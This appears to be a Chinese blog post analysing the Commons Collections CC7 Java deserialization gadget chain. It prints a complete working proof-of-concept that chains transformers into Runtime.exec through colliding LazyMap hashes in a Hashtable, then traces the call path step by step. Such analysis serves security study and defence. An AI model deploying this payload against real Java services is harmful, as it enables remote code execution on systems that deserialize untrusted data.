CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的。文章如有错误,敬请大佬们斧正
CC7利用的是hashtable#readObject作为反序列化入口。AbstractMap的equals来触发的LazyMap的get方法
这条链太过于复杂,无法想象大佬们是怎么样的思维挖掘出这条链的,所以只能跟着大佬的poc跟着进行调试了分析了
public class CC7 {
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[]{"calc"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
lazyMap2.put("zZ", 1);
System.out.println(lazyMap1 == lazyMap2);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 1);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectInputStream.readObject();
}
}
前面和其他链都一样,关键看后面。这里构造了两个LazyMap对象,并且都put进了hashtable中。而hashtable的readObject就是为反序列化的入口。
在readObject方法的最后一行,进入reconstitutionPut方法
进行判断tab[index]是否为null,不为null则进入if语句,执行e.key.equals(key),此时的e.key为LazyMap
转到LazyMap的equals方法,此时的map就是刚开始传入的HashMap,而参数object就是LazyMap
转到HashMap的equals,第495行进行了m.get,而这个m就是LazyMap,从而调用到了LazyMap的get方法
关于满足上面调用链,要满足几个条件
为了在hashtable数组put第二个LazyMap时候会执行equals方法,所以要进行两个hash值是相同的。即
lazyMap1.hashCode() == lazyMap2.hashCode()
而相同的条件则是里面的元素值一样,比如
"zZ".hashCode()和"yy".hashCode()是一样的
类似的还有Aa和BB等等
在反序列时候,执行到reconstitutionPut,需要把第一个LazyMap put进数组。此时进行for循环判断tab[3]的值为空(null),即不会进入if语句进行判断,而直接加入lazyMap进行数组到tab[3]的位置
第二次加入LazyMap,会发现LazyMap已经存在于tab[3]的位置,从而进行hash和equals判断。两个lazyMap对象用hashCode拿到的hash值其实是相同的,就会执行lazyMap的equals方法判断两个LazyMap。
e里面存放的值
因为之前在第二次hashtable.put(lazyMap2, 1);时候会进行一次把值加入到m,m.size就成了2,导致了if语句判断为真,直接return false中断了后面m.get的执行,所以要remove第一次put的lazyMap1。接下来看详细解读
Hashtable不允许放重复得值,Hashtable进行put的时候,会先比较集合中是否有相同得参数(利用hash值和equals方法比较),如下图
第二次hashtable.put时,计算到两个lazyMap得hash值相同,则再调用lazyMap得equals进行比较,lazyMap得equals方法是继承至AbstractMapDecorator
return了map得equals方法,而map得值是在LazyMap.decorate中传入得hashMap2,为HashMap类型
查看HashMap得equals(此方法是继承自AbstractMap)
在482行中,此时m值只有个zZ,size为1
之后把zZ加进了集合后,就有两个元素了。
后面进行反序列化时候,调用到这里会出现m.size=2,而size()则是1,导致了直接return false中断了后面m.get的执行
手机扫一扫
移动阅读更方便
你可能感兴趣的文章